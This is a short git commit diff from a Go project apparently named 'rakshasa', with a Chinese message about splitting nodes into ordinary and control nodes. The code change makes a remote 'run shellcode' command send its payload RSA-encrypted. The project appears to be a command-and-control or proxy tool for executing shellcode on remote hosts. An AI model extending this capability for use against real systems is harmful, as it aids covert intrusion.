将节点分为普通节点和控制节点

This commit is contained in:
Mob2003
2023-03-31 11:58:47 +08:00
parent 88e128f941
commit 3b9a9cf4e1
28 changed files with 644 additions and 236 deletions
+2 -1
View File
@@ -10,6 +10,7 @@ import (
"os"
"os/exec"
"path/filepath"
"rakshasa/cert"
"rakshasa/common"
"strconv"
"time"
@@ -44,7 +45,7 @@ func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) erro
id := n.storeQuery(res)
b, _ := json.Marshal(s)
n.Write(common.CMD_RUN_SHELLCODE, id, b)
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
select {
case v := <-res:
fmt.Println("运行结果\n", v)